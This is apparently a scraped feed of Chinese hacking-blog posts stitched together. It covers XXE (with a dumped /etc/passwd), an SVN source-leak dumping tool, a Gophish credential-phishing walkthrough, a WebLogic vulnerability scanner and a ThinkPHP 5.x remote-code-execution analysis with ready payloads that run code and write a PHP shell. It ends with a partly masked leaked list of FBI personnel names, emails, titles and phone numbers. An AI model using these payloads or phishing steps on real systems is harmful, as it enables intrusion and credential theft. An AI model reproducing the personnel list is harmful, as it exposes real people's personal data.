{"error": "no results for name root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync....

六、XXE 如何防御

方案一:使用语言中推荐的禁用外部实体的方法

PHP:

libxml_disable_entity_loader(true);

JAVA:

DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

.setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);

.setFeature("http://xml.org/sax/features/external-general-entities",false)

.setFeature("http://xml.org/sax/features/external-parameter-entities",false);

Python:

from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

方案二:手动黑名单过滤(不推荐)

过滤关键词:





七、总结

对 XXE 漏洞做了一个重新的认识,对其中一些细节问题做了对应的实战测试,重点在于 netdoc 的利用和 jar 协议的利用,这个 jar 协议的使用很神奇,网上的资料也比较少,我测试也花了很长的时间,希望有真实的案例能出现,利用方式还需要各位大师傅们的努力挖掘。

你的知识面,决定着你的攻击面

from

The post XXE漏洞详解 XXE漏洞是什么 XXE漏洞如何防范 appeared first on 🔰雨苁ℒ🔰.

SVN源代码泄露利用工具 SvnExploit升级版

$
0
0

SVN源代码泄露利用工具

   可以利用.svn/entries文件,获取到服务器源码、svn服务器账号密码等信息)更严重的问题在于,SVN产生的.svn目录下还包含了以.svn-base结尾的源代码文件副本(低版本SVN具体路径为text-base目录,高版本SVN为pristine目录),如果服务器没有对此类后缀做解析,黑客则可以直接获得文件源代码

 下载地址:  Github

用法  ctf工具包

安装依赖库

sudo pip install -r requirements.txt

查看帮助

python SvnExploit.py -h

检测SVN源代码泄露

python SvnExploit.py -u http://192.168.27.128/.svn

下载源代码

python SvnExploit.py -u http://192.168.27.128/.svn --dump

Example

svn > 1.7版本

SVN源代码泄露利用工具
python .\svnExploit.py -u http://192.168.27.128/unit-2/lab3/.svn/
 ____             _____            _       _ _
/ ___|_   ___ __ | ____|_  ___ __ | | ___ (_) |_
\___ \ \ / / '_ \|  _| \ \/ / '_ \| |/ _ \| | __|
 ___) \ V /| | | | |___ >  <| |_) | | (_) | | |_
|____/ \_/ |_| |_|_____/_/\_\ .__/|_|\___/|_|\__|
                            |_|
SvnExploit - Dump the source code by svn
Author: AdminTony (http://admintony.com)
https://github.com/admintony/svnExploit


+--------------------+----------+------------------------------------------------+
|       文件名       | 文件类型 |                    CheckSum                    |
+--------------------+----------+------------------------------------------------+
|      conn.php      |   file   | $sha1$8f47ccbd4a436aa4f31018fea026275f6059ed10 |
|       trunk        |   dir    |                      None                      |
|      branches      |   dir    |                      None                      |
|  admin_login.php   |   file   | $sha1$a6981b1ca963c8a75e133e38780be7ff0cd60952 |
|     phpmyadmin     |   file   | $sha1$6d5af41c175e344ee483732648edc9318b2a6014 |
|     README.TXT     |   file   | $sha1$c5981462cc06422f4a78e68f0a48dddcf5860eb9 |
|     README.txt     |   file   | $sha1$ef4b5f3081dbac31f9fb089aafd60dd2b9474b51 |
|     secret.php     |   file   | $sha1$2e6a7a6976d31847f0eebf7bbc252bcc1ff4f609 |
|     README.md      |   file   | $sha1$466f5ab1e4adfd373a23f639e0dd8fcfdce7874b |
| img/login_bg01.jpg |   file   | $sha1$311efc58c4d7035a54fdb8e94d6ba901c56354fd |
|        img         |   dir    |                      None                      |
|     index.php      |   file   | $sha1$4660847a73ab0906d91841dde9576bd5054b2020 |
|      test.sql      |   file   | $sha1$096a90da3e471a472874413b18cb2f5dd0567fd1 |
|     admin.php      |   file   | $sha1$f444d3aad996577872ac7b95a2c05aa11e6b1f8f |
|      document      |   dir    |                      None                      |
|        tags        |   dir    |                      None                      |
+--------------------+----------+------------------------------------------------+

python .\svnExploit.py -u http://192.168.27.128/unit-2/lab3/.svn/ --dump
 ____             _____            _       _ _
/ ___|_   ___ __ | ____|_  ___ __ | | ___ (_) |_
\___ \ \ / / '_ \|  _| \ \/ / '_ \| |/ _ \| | __|
 ___) \ V /| | | | |___ >  <| |_) | | (_) | | |_
|____/ \_/ |_| |_|_____/_/\_\ .__/|_|\___/|_|\__|
                            |_|
SvnExploit - Dump the source code by svn
Author: AdminTony (http://admintony.com)
https://github.com/admintony/svnExploit


+--------------------+--------------------------------------------------------------------+----------+
|       文件名       |                                URL                                 | 下载状态 |
+--------------------+--------------------------------------------------------------------+----------+
|      conn.php      | .svn/pristine/8f/8f47ccbd4a436aa4f31018fea026275f6059ed10.svn-base | 下载成功 |
|     README.TXT     | .svn/pristine/c5/c5981462cc06422f4a78e68f0a48dddcf5860eb9.svn-base | 下载成功 |
|     README.txt     | .svn/pristine/ef/ef4b5f3081dbac31f9fb089aafd60dd2b9474b51.svn-base | 下载成功 |
|     phpmyadmin     | .svn/pristine/6d/6d5af41c175e344ee483732648edc9318b2a6014.svn-base | 下载成功 |
|     secret.php     | .svn/pristine/2e/2e6a7a6976d31847f0eebf7bbc252bcc1ff4f609.svn-base | 下载成功 |
|     README.md      | .svn/pristine/46/466f5ab1e4adfd373a23f639e0dd8fcfdce7874b.svn-base | 下载成功 |
|  admin_login.php   | .svn/pristine/a6/a6981b1ca963c8a75e133e38780be7ff0cd60952.svn-base | 下载成功 |
|     index.php      | .svn/pristine/46/4660847a73ab0906d91841dde9576bd5054b2020.svn-base | 下载成功 |
|     admin.php      | .svn/pristine/f4/f444d3aad996577872ac7b95a2c05aa11e6b1f8f.svn-base | 下载成功 |
|      test.sql      | .svn/pristine/09/096a90da3e471a472874413b18cb2f5dd0567fd1.svn-base | 下载成功 |
| img/login_bg01.jpg | .svn/pristine/31/311efc58c4d7035a54fdb8e94d6ba901c56354fd.svn-base | 下载成功 |
+--------------------+--------------------------------------------------------------------+----------+
[+] 已经Dump完成!

svn < 1.7版本

SVN源代码泄露利用工具
python .\svnExploit.py -u http://192.168.27.128/unit-2/lab2/.svn/
 ____             _____            _       _ _
/ ___|_   ___ __ | ____|_  ___ __ | | ___ (_) |_
\___ \ \ / / '_ \|  _| \ \/ / '_ \| |/ _ \| | __|
 ___) \ V /| | | | |___ >  <| |_) | | (_) | | |_
|____/ \_/ |_| |_|_____/_/\_\ .__/|_|\___/|_|\__|
                            |_|
SvnExploit - Dump the source code by svn
Author: AdminTony (http://admintony.com)
https://github.com/admintony/svnExploit


+---------------------+----------+---------------------------------------------+
|        文件名       | 文件类型 |                     URL                     |
+---------------------+----------+---------------------------------------------+
|     favicon.ico     |   file   |     /.svn/text-base/favicon.ico.svn-base    |
|      index.html     |   file   |     /.svn/text-base/index.html.svn-base     |
|     phpinfo.php     |   file   |     /.svn/text-base/phpinfo.php.svn-base    |
|      shell.php      |   file   |      /.svn/text-base/shell.php.svn-base     |
|  config/config.php  |   file   |  config/.svn/text-base/config.php.svn-base  |
|     css/add.css     |   file   |     css/.svn/text-base/add.css.svn-base     |
|   css/colorbox.css  |   file   |   css/.svn/text-base/colorbox.css.svn-base  |
|   css/company.css   |   file   |   css/.svn/text-base/company.css.svn-base   |
| images/btn_back.png |   file   | images/.svn/text-base/btn_back.png.svn-base |
|   images/gitf.png   |   file   |   images/.svn/text-base/gitf.png.svn-base   |
|     js/common.js    |   file   |     js/.svn/text-base/common.js.svn-base    |
|   js/jquery.min.js  |   file   |   js/.svn/text-base/jquery.min.js.svn-base  |
|      js/loop.js     |   file   |      js/.svn/text-base/loop.js.svn-base     |
+---------------------+----------+---------------------------------------------+

python .\svnExploit.py -u http://192.168.27.128/unit-2/lab2/.svn/ --dump
 ____             _____            _       _ _
/ ___|_   ___ __ | ____|_  ___ __ | | ___ (_) |_
\___ \ \ / / '_ \|  _| \ \/ / '_ \| |/ _ \| | __|
 ___) \ V /| | | | |___ >  <| |_) | | (_) | | |_
|____/ \_/ |_| |_|_____/_/\_\ .__/|_|\___/|_|\__|
                            |_|
SvnExploit - Dump the source code by svn
Author: AdminTony (http://admintony.com)
https://github.com/admintony/svnExploit


+---------------------+---------------------------------------------+----------+
|        文件名       |                     URL                     | 下载状态 |
+---------------------+---------------------------------------------+----------+
|     favicon.ico     |     /.svn/text-base/favicon.ico.svn-base    | 下载成功 |
|      index.html     |     /.svn/text-base/index.html.svn-base     | 下载成功 |
|     phpinfo.php     |     /.svn/text-base/phpinfo.php.svn-base    | 下载成功 |
|      shell.php      |      /.svn/text-base/shell.php.svn-base     | 下载成功 |
|  config/config.php  |  config/.svn/text-base/config.php.svn-base  | 下载成功 |
|     css/add.css     |     css/.svn/text-base/add.css.svn-base     | 下载成功 |
|   css/colorbox.css  |   css/.svn/text-base/colorbox.css.svn-base  | 下载成功 |
|   css/company.css   |   css/.svn/text-base/company.css.svn-base   | 下载成功 |
| images/btn_back.png | images/.svn/text-base/btn_back.png.svn-base | 下载成功 |
|   images/gitf.png   |   images/.svn/text-base/gitf.png.svn-base   | 下载成功 |
|     js/common.js    |     js/.svn/text-base/common.js.svn-base    | 下载成功 |
|   js/jquery.min.js  |   js/.svn/text-base/jquery.min.js.svn-base  | 下载成功 |
|      js/loop.js     |      js/.svn/text-base/loop.js.svn-base     | 下载成功 |
+---------------------+---------------------------------------------+----------+

更新记录

更新记录 – 20181130

1.添加svn版本识别函数 - SvnVersion
2.添加svn<1.7版本时源码泄露利用功能(自动识别svn版本),包括查看和Dump源码
3.优化显示,使用prettytable库输出表格
4.添加Banner,美化界面

更新记录 – 20180821

1.添加编码声明
2.将mkdir函数改成了makedirs,防止目录结构复杂的无法dump源码

结构

├── history
│   ├── README.md
│   └── svnExploit.py
├── readme.md
├── requirements.txt
└── SvnExploit.py

The post SVN源代码泄露利用工具 SvnExploit升级版 appeared first on 🔰雨苁ℒ🔰.

网络钓鱼框架 使用Gophish进行邮件钓鱼

$
0
0

网络钓鱼框架 邮件钓鱼 gophish 通过虚假邮件让访问者中招,获取账号密码 利用伪装的电子邮件,欺骗收件人将账号、口令等信息回复给指定的接收者;或引导收件人连接到特制的网页,这些网页通常会伪装成和真实网站一样,如银行或理财的网页,令登录者信以为真,输入信用卡或银行卡号码、账户名称及密码等而被盗

钓鱼平台gophish

网络钓鱼框架的安装与使用 
安全行业开源漏洞扫描器 Scanners Box

Centos7安装gophish

# 下载
wget https://github.com/gophish/gophish/releases/download/0.7.1/gophish-v0.7.1-linux-64bit.zip

# 解压并启动
mkdir -p /app/gophish
unzip gophish-v0.7.1-linux-64bit.zip -d /app/gophish/ && cd /app/gophish/

# 修改配置文件

网络钓鱼框架
# 执行
./gophish

# 访问
https://192.168.199.5:3333/
# 账号:admin 密码:gophish

网络钓鱼框架

使用gophish进行钓鱼

  • 用户与组信息:Users & Groups

添加员工邮件信息

网络钓鱼框架
  • 配置邮件模板:Email Templates
网络钓鱼框架
  • 配置加载页面:Landing Pages
网络钓鱼框架
  • 配置发件人信息:Sending Profiles
网络钓鱼框架
  • 测试发件人信息是否正确
网络钓鱼框架
网络钓鱼框架
  • 配置发送信息
网络钓鱼框架
网络钓鱼框架
网络钓鱼框架

网络钓鱼框架的高级使用

使用gophish钓用户账号密码信息

  • 首先,需要配置一个Sending Profiles,与上面的配置一致即可;
  • 其次,配置一个Landing Pages;
# 我随便找了一个地址,导入站点,设置Redirect也为这个地址
http://xnore.com/admin/login.php

网络钓鱼框架
网络钓鱼框架
  • 配置一个模版Email Templates

首先找到一封邮件,查看源代码,复制源代码信息

网络钓鱼框架
网络钓鱼框架
网络钓鱼框架
  • 配置一个Campaigns
网络钓鱼框架

然后去我们的邮箱,点击邮件中的url(备注:我这里gophish的地址由上文的192.* 变化为10.10.10.5)

网络钓鱼框架
网络钓鱼框架
网络钓鱼框架

这个时候如果用户在页面输入了信息,我们来看一下变化

网络钓鱼框架
网络钓鱼框架

网络钓鱼框架 后续玩法

后续可以构建更多的信息来收集是谁点击的,主要是做一个好的网络钓鱼框架登录页面

from

The post 网络钓鱼框架 使用Gophish进行邮件钓鱼 appeared first on 🔰雨苁ℒ🔰.

weblogic漏洞扫描工具 反序列化漏洞扫描工具

$
0
0

weblogic漏洞扫描工具 反序列化漏洞扫描工具

weblogic漏洞扫描工具 妄想试图weblogic一把梭 暗网网址大全
目前检测的功能

console 页面探测 & 弱口令扫描
uuid页面的SSRF
CVE-2017-10271 wls-wsat页面的反序列化
CVE-2018-2628 反序列化

后期可以的话还会继续加功能的,主要是一些反序列化的poc真的不好写,我也不咋会..

使用方法

使用前请先填写config.py中的server参数
推荐配合http://ceye.io之类的工具使用,server格式为http://xxx.ceye.io

使用方式比较简单,目前支持两种模式

1、扫描url.txt中的所有url

python3 weblogic-scan

2、扫描单一的url

python3 weblogic-scan 127.0.0.1:7001
weblogic漏洞扫描工具

console弱口令和CVE-2018-2628的扫描结果会直接在控制台中输出。

uuid页面的SSRF以及wls-wsat反序列化会在server服务器中留下日志文件。
会在域名前带上受影响机子的地址,这样扫描多个地址的时候方便做区分。

prepare

ENV

  • version: python3
  • expand : requests

config.py

timeout: ​ 自定义timeout的时间,包括requests和socket的timeout
server(没有默认值,务必填写): 由于一些exp发送后具体有没有成功需要看服务器是否有数据返回 需要一个服务器来接受这种数据,例如http://ceye.io 攻击成功会在dns记录以及http的log部分留下数据

url.txt

支持如下几种格式的url

不填写端口默认端口为80,https起头的默认端口为443

weblogic漏洞扫描工具 项目地址:weblogic-scan

The post weblogic漏洞扫描工具 反序列化漏洞扫描工具 appeared first on 🔰雨苁ℒ🔰.

thinkphp 5.x 全版本任意代码执行漏洞

$
0
0

thinkphp任意代码执行漏洞

0x00简介 22个黑客技术练习网站 

2018年12月10日中午,thinkphp官方公众号发布了一个更新通知,包含了一个5.x系列所有版本存在被getshell的高风险漏洞。

吃完饭回来看到这个公告都傻眼了,整个tp5系列都影响了,还是getshell。

(以下截图为后截图,主要是想讲一下自己从无到有,如何分析漏洞,整个过程是怎么样的)

0x01 漏洞原理

下午睡醒,赶紧起来分析漏洞。

结合官方公告说的由于对控制器名没有足够的检测,再查看官方git commit信息


拉一个tp下来,用的是tp 5.1.29的版本,windows+phpstudy 一把梭,搭建好环境。

thinkphp任意代码执行漏洞

在官方修改的地方加断点(thinkphp\library\think\route\dispatch\Module.php),加载默认的控制器来分析。
请求:

http://127.0.0.1/index.php/index/index/index

命中断点

thinkphp任意代码执行漏洞

一步步跟进controller的走向,发现在同文件下的 exec函数,实例化控制器


跟进controller方法,thinkphp\library\think\App.php

使用parseModuleAndClass方法来解析,继续跟进

分析一下代码,发现会有一个判断,当控制器名中包含了反斜杠,就会直接返回,继续跟踪。

此处没有包含,所以会进入下面的判断,最后使用parseClass来解析,跟进parseClass函数

发现经过parseName之后index变成了首字母大写,原因是经过了命名风格转换。

最后会将命名空间类名等进行拼接


返回我们带命名空间的完整类名。

跟进,回到了controller方法,此时判断类是否存在,不存在会触发自动加载类。

之后就是实例化类,使用反射来调用类的相应方法了。(偷懒省略掉了,主要是介绍一下分析的主要过程)

大概流程摸清楚了,那么这个漏洞是怎么触发的呢?

在跟踪的时候我们发现,类名都是带有完整的命名空间的,而命名空间恰好就是使用反斜杠来划分,结合那一个判断代码:反斜杠是否存在,直接返回类名的操作。

不难想到是可以调用任意类的方法。

比如这样?

http://127.0.0.1/index.php/index/think\app/index

请求一下,发现报错了。

what the fuck? 我的反斜杠怎么变成了正斜杠了?而且这个控制器怎么获取的是Think?

猜测是浏览器的原因,用bp发包一样如此,那么还有没有其他方法可以获取到呢?

翻了一下tp的配置文件

发现可以使用s来获取参数,那么我们就可以尝试这样请求

http://127.0.0.1/index.php?s=/index/think\app/index

成功实例化了App类,因为没有index 方法所以这里会报错。


但已经验证了整个漏洞的原理。

控制器过滤不严,结合直接返回类名的代码操作,导致可以用命名空间的方式来调用任意类的任意方法。

形如:

http://127.0.0.1/index.php?s=/index/namespace\class/method

漏洞点找到了,那么接下来就是找利用点了。

0x02 漏洞利用

tp 5.1.29 简单找了个写shell的方法,看到thinkphp\library\think\template\driver\File.php 文件


有一个完美的写shell方法。

http://127.0.0.1/index.php?s=index/\think\template\driver\file/write?cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E

执行之后会在根目录下写入shell.php ,内容是输出phpinfo();

那么tp 5.0要怎么利用呢??

接下来就是踩坑之旅了。

0x03 无尽的踩坑

把tp 5.1的payload,拉过去打一发,发现报错了,控制器不存在??

猜测是5.0和5.1的文件可能不一样,打开一看,都一样啊,怎么加载不了。

上断点,跟踪。此处省略一万字。

跟踪半天发现类加载器有这么一行代码。位置: thinkphp\library\think\Loader.php 方法 autoload

以及一开始的获取控制器的时候 会判断是否自动转换控制器,将控制器名变成小写。

而这个url_convert配置项默认是true。

而我们的类文件名是大写的。

那么在win下,由于严格区分大小写,所以必然不会加载到相应的类文件。

(图中判断,由于IS_WIN为True,!IS_WIN必为False,逻辑与,一个为False条件就成立。)

虽然最终由于绑定参数的问题导致该方法依然不可以用(这个问题就不展开分析了)

但是这个win环境的问题确实卡了我很久。

也难怪别人的payload都是这样那样的,原来是linux的环境,可以加载的类多了不少。

最终也导致5.0的自己没有找到利用的类。

0x04兼容多平台的payload

综上,由于Windows的原因,所以有一些payload在windows的主机上是不可以利用的。

那么哪些payload是可以兼容多个平台呢?

由于windows自动加载类加载不到想要的类文件,所以能够下手的就是在框架加载的时候已经加载的类。

5.1是下面这些:

think\Loader 
Composer\Autoload\ComposerStaticInit289837ff5d5ea8a00f5cc97a07c04561
think\Error 
think\Container
think\App 
think\Env 
think\Config 
think\Hook 
think\Facade
think\facade\Env
env
think\Db
think\Lang 
think\Request 
think\Log 
think\log\driver\File
think\facade\Route
route
think\Route 
think\route\Rule
think\route\RuleGroup
think\route\Domain
think\route\RuleItem
think\route\RuleName
think\route\Dispatch
think\route\dispatch\Url
think\route\dispatch\Module
think\Middleware
think\Cookie
think\View
think\view\driver\Think
think\Template
think\template\driver\File
think\Session
think\Debug
think\Cache
think\cache\Driver
think\cache\driver\File

5.0 的有:

think\Route
think\Config
think\Error
think\App
think\Request
think\Hook
think\Env
think\Lang
think\Log
think\Loader

两个版本公有的是:

think\Route 
think\Loader 
think\Error 
think\App 
think\Env 
think\Config 
think\Hook 
think\Lang 
think\Request 
think\Log

本想找出两个版本共有的利用类和方法,但由于类文件大多被重写了,所以没耐住性子一一去找(菜)

所以,payload为上述类的利用方法,是可以兼容windows和linux多个平台的,兼容多个平台有什么用呢?插件批量可以减少误判等,一条payload通用,一把梭多好。

比如:

5.1.x php版本>5.5

http://127.0.0.1/index.php?s=index/think\request/input?data[]=phpinfo()&filter=assert

http://127.0.0.1/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo()

http://127.0.0.1/index.php?s=index/\think\template\driver\file/write?cacheFile=shell.php&content=<?php%20phpinfo();?>

5.0.x php版本>=5.4

http://127.0.0.1/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo()

from

The post thinkphp 5.x 全版本任意代码执行漏洞 appeared first on 🔰雨苁ℒ🔰.

2万多名FBI警员信息泄露 包含姓名 邮箱 职务 电话等信息

$
0
0

2万多名FBI警员信息泄露 
387个暗网网址

作为FBI的一员,幸运的是我没在里面发现我的信息,可能这就是级别高的好处,噗

以下数据公开于twitter,同时被公开的还有法国对外安全局(DGSE)、美国FBI、CIA以及英国军情六处各级网站域名及其对应的IP地址,还有大量子域名及其IP地址,希望这些人能够安然无恙.

2万多名FBI警员信息泄露
2万多名FBI警员信息泄露

下面是部分信息-雨苁:未避免被FBI追杀,里面的部分信息替换成了xx或者数字

███████████████████████████████
████╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬████
██╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬██
█╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬█
█╬╬╬███████╬╬╬╬╬╬╬╬╬███████╬╬╬█
█╬╬██╬╬╬╬███╬╬╬╬╬╬╬███╬╬╬╬██╬╬█
█╬██╬╬╬╬╬╬╬██╬╬╬╬╬██╬╬╬╬╬╬╬██╬█
█╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬█
█╬╬╬╬█████╬╬╬╬╬╬╬╬╬╬╬█████╬╬╬╬█
█╬╬█████████╬╬╬╬╬╬╬█████████╬╬█
█╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬█
█╬╬╬╬╬╬╬╬╬╬╬╬╬╬█╬╬╬╬╬╬╬╬╬╬╬╬╬╬█
█╬╬╬╬╬╬╬╬╬╬╬╬╬╬█╬╬╬╬╬╬╬╬╬╬╬╬╬╬█
█╬╬╬╬╬╬╬╬╬╬╬╬╬╬█╬╬╬╬╬╬╬╬╬╬╬╬╬╬█
█╬╬╬▓▓▓▓╬╬╬╬╬╬╬█╬╬╬╬╬╬╬▓▓▓▓╬╬╬█
█╬╬▓▓▓▓▓▓╬╬█╬╬╬█╬╬╬█╬╬▓▓▓▓▓▓╬╬█
█╬╬╬▓▓▓▓╬╬██╬╬╬█╬╬╬██╬╬▓▓▓▓╬╬╬█
█╬╬╬╬╬╬╬╬██╬╬╬╬█╬╬╬╬██╬╬╬╬╬╬╬╬█
█╬╬╬╬╬████╬╬╬╬███╬╬╬╬████╬╬╬╬╬█
█╬╬╬╬╬╬╬╬╬╬╬╬╬███╬╬╬╬╬╬╬╬╬╬╬╬╬█
██╬╬█╬╬╬╬╬╬╬╬█████╬╬╬╬╬╬╬╬█╬╬██
██╬╬██╬╬╬╬╬╬███████╬╬╬╬╬╬██╬╬██
██╬╬▓███╬╬╬████╬████╬╬╬███▓╬╬██
███╬╬▓▓███████╬╬╬███████▓▓╬╬███
███╬╬╬╬▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓╬╬╬╬███
████╬╬╬╬╬╬╬╬╬╬███╬╬╬╬╬╬╬╬╬╬████
█████╬╬╬╬╬╬╬╬╬╬█╬╬╬╬╬╬╬╬╬╬█████
██████╬╬╬╬╬╬╬╬███╬╬╬╬╬╬╬╬██████
███████╬╬╬╬╬╬╬███╬╬╬╬╬╬╬███████
████████╬╬╬╬╬╬███╬╬╬╬╬╬████████
█████████╬╬╬╬╬███╬╬╬╬╬█████████
███████████╬╬╬╬█╬╬╬╬███████████
███████████████████████████████

FBI Member list

XXXbruzzino, Wendy  SUPVY LEGXXXL INSTRUMENTS EXXXXMINER 342-6252-7190   US Wendy.XXXbzzino@ic.fbi.gov  
XXXbsher, CXXXrol r  INTERN       CXXXrol.XXXber@ic.fbi.gov  
XXXbusuneimXXX, NehXXXd  TRXXXNSLXXXTORS XXXND INTERPRETERS 6462-962-2486 2486   US NehXXXd.XXXbuimXXX@ic.fbi.gov  
XXXbusuneimXXX, NizXXXr  CONTRXXXCTOR 6462-6962-2405   US NizXXXr.XXXbmXXX@ic.fbi.gov  
XXXbuswXXXy, EyXXXd XXX  TXXXSK FORCE OFFICER 8592-4262-3355   US EyXXXd.XXXbu@ic.fbi.gov  
XXXcXXXyXXXn, JustinXXX XXX  FINXXXNCIXXXL OPERXXXTIONS SPECIXXXLIST 4152-5532-7400     JustinXXX.XXXc@ic.fbi.gov  
XXXccXXXrdo, MXXXtthew W  SPECIXXXL XXXGENT 4152-5582-1148   US MXXXtthew.XXXcdo@ic.fbi.gov  
XXXccXXXrdo, PXXXulXXX J  EVIDENCE TECHNICIXXXN 6232-4662-1999 1265     PXXXXXX.XXXccXXXrdo@ic.fbi.gov  
XXXce, BriXXXn K  RELIEF SUPERVISOR 3122-8292-8357   US Brin.XXXe@ic.fbi.gov  
XXXcedillo, Dori B  OPERXXXTIONXXXL SUPPORT TECHNICIXXXN 4152-5532-7400 2702   US Dori.XXXcllo@ic.fbi.gov  
XXXcee, BryXXXn M  RELIEF SUPERVISOR 5052-8892-1663   US BrXXXn.XXXce@ic.fbi.gov  
XXXceituno, Roberto XXX  FOREIGN OPERXXXTIONS SPECIXXXLIST 2022-3242-9830 49830   US Rorto.XXXcuno@ic.fbi.gov  
XXXceto, Elyse XXX    2022-2332-1249   US Elyse.XXXceto@ic.fbi.gov  
XXXcevedo, CXXXrlos XXX  OPERXXXTIONXXXL SUPPORT TECHNICIXXXN 7872-9972-2600   US CXXXrlos.XXXcevedo@ic.fbi.gov  
XXXcevedo, HXXXrry  FORENSIC XXXCCOUNTXXXNT 2022-3242-3999 4047     HXXXrry.XXXcevedo@ic.fbi.gov  
XXXcevedo, JXXXson M  TXXXSK FORCE OFFICER 5122-3452-1111     JXXXson.XXXcevedo@ic.fbi.gov  
XXXcevedo, JXXXvier  TXXXSK FORCE OFFICER 9732-7922-3000     JXXXvier.XXXcevedo@ic.fbi.gov  
XXXcevedo, Jesse U  INTELLIGENCE RESEXXXRCH 7132-9362-8352 8352   US Jesse.XXXcevedo@ic.fbi.gov  
XXXcevedo, MXXXnuel  TXXXSK FORCE OFFICER 8582-4952-7200     MXXXnuel.XXXcevedo@ic.fbi.gov  
XXXcevedo, MXXXrco  SPECIXXXL XXXGENT 9282-2262-2614   US MXXXrco.XXXcevedo@ic.fbi.gov  
XXXcevedo, MXXXriXXX  FOREIGN LXXXNGUXXXGE PROGRXXXM MXXXNXXXGER 2022-4362-7925 7925   US MXXXriXXX.XXXcevedo@ic.fbi.gov  
XXXceves, MXXXriXXX G  FORENSIC XXXCCOUNTXXXNT 2022-3242-7773 47773   US MXXXriXXX.XXXceves@ic.fbi.gov  
XXXchin, Scott XXX  CONTRXXXCTOR 3042-6252-5344 0     Scott.XXXchin@ic.fbi.gov  
XXXchrejXXX, RXXXtXXXndeep S  CONTRXXXCTOR 3042-6252-2000     RXXXtXXXndeep.XXXchrejXXX@ic.fbi.gov  
XXXcker, Derrick K  RELIEF SUPERVISOR 6312-5012-8600 8745   US Derrick.XXXcker@ic.fbi.gov  
XXXcker, KXXXrl L  TXXXSK FORCE OFFICER 4432-6792-6927     KXXXrl.XXXcker@ic.fbi.gov  
XXXcker, MXXXtthew  RELIEF SUPERVISOR 2062-2622-2262 2262   US MXXXtthew.XXXcker@ic.fbi.gov  
XXXckermXXXn, XXXdXXXm J  INTELLIGENCE XXXNXXXLYSIS 4152-5532-7400 7303   US XXXdXXXm.XXXckermXXXn@ic.fbi.gov  
XXXckermXXXn, CXXXryn J  RELIEF SUPERVISOR 8082-5662-4300 2855   US CXXXryn.XXXckermXXXn@ic.fbi.gov  
XXXckermXXXn, Devon P  FBIHQ SUPERVISOR 9192-3802-4574   US Devon.XXXckermXXXn@ic.fbi.gov  
XXXckermXXXn, FXXXwn  TXXXSK FORCE OFFICER 8562-7012-1924     FXXXwn.XXXckermXXXn@ic.fbi.gov  
XXXckermXXXn, GerXXXrd M  FIELD SUPERVISOR 3032-6302-6620   US GerXXXrd.XXXckermXXXn@ic.fbi.gov  
XXXckermXXXn, Jeremy  SPECIXXXL XXXGENT 8172-9892-3329 3329   US Jeremy.XXXckermXXXn@ic.fbi.gov  
XXXckermXXXn, Preston S  FIELD SUPERVISOR 4052-2902-3680   US Preston.XXXckermXXXn@ic.fbi.gov  
XXXckermXXXn, RebeccXXX T  MGMT&PROG XXXNXXXL 2022-3242-8386 48386   US RebeccXXX.TXXXylor@ic.fbi.gov  
XXXckermXXXnn, XXXnitXXX L  INTELLIGENCE XXXNXXXLYSIS 3102-9962-4176 4176   US XXXnitXXX.XXXckermXXXnn@ic.fbi.gov  
XXXckerrothwell, WXXXndXXX E  CONTRXXXCTOR 2022-3242-3000 48198     WXXXndXXX.XXXckerrothwell@ic.fbi.gov  
XXXcklXXXnd, XXXXXXron M  SECONDXXXRY RELIEF SUPERVISOR 3142-5892-2737   US XXXXXXron.XXXcklXXXnd@ic.fbi.gov  
XXXckles, JXXXson T  TXXXSK FORCE 4022-4932-8688     JXXXson.XXXckles@ic.fbi.gov  
XXXckley, Nicolle C  CONTRXXXCTOR 7032-6322-8043   US Nicolle.XXXckley@ic.fbi.gov  
XXXckley, Russell S  TXXXSK FORCE OFFICER 7132-6932-5000 7798   US Russell.XXXckley@ic.fbi.gov  
XXXcklin, XXXttie H  INTERN       XXXttie.XXXcklin@ic.fbi.gov  
XXXckmXXXn, Scott M  RELIEF SUPERVISOR 4052-2902-7770   US Scott.XXXckmXXXn@ic.fbi.gov  
XXXcocellXXX, ThomXXXs D  DETXXXILEE       ThomXXXs.XXXcocellXXX@ic.fbi.gov  
XXXcord, Christopher XXX  CONTRXXXCTOR 3042-6252-2646     Christopher.XXXcord@ic.fbi.gov  
XXXcors, Robert M  CONTRXXXCTOR 7032-6322-7961   US Robert.XXXcors@ic.fbi.gov  
XXXcostXXX, XXXrmelio  SUPVY ITSPEC 7542-7032-2290   US XXXrmelio.XXXcostXXX@ic.fbi.gov  
XXXcostXXX, XXXshley L  CONTRXXXCTOR 2022-3242-0960   US XXXshley.XXXcostXXX@ic.fbi.gov  
XXXcostXXX, CXXXrlos O  RELIEF SUPERVISOR 7132-9362-8760 8760   US CXXXrlos.XXXcostXXX@ic.fbi.gov  
XXXcostXXX, DXXXnny M  CONTRXXXCTOR 7032-9852-2544   US DXXXnny.XXXcostXXX@ic.fbi.gov  
XXXcostXXX, Heidi  ITSPEC (SYSXXXDMN/CUSTSPT) 7542-7032-2008   US Heidi.XXXcostXXX@ic.fbi.gov  

当然,这些信息泄露对于FBI而言我觉得根本不算什么问题,搞个新的身份对于他们而言易如反掌,默哀 FBI

The post 2万多名FBI警员信息泄露 包含姓名 邮箱 职务 电话等信息 appeared first on 🔰雨苁ℒ🔰.


使用RouterSploit控制路由器 入侵路由器

$
0
0

使用RouterSploit控制路由器 Awvs12破解版 Acunetix Scanner 12 cracked

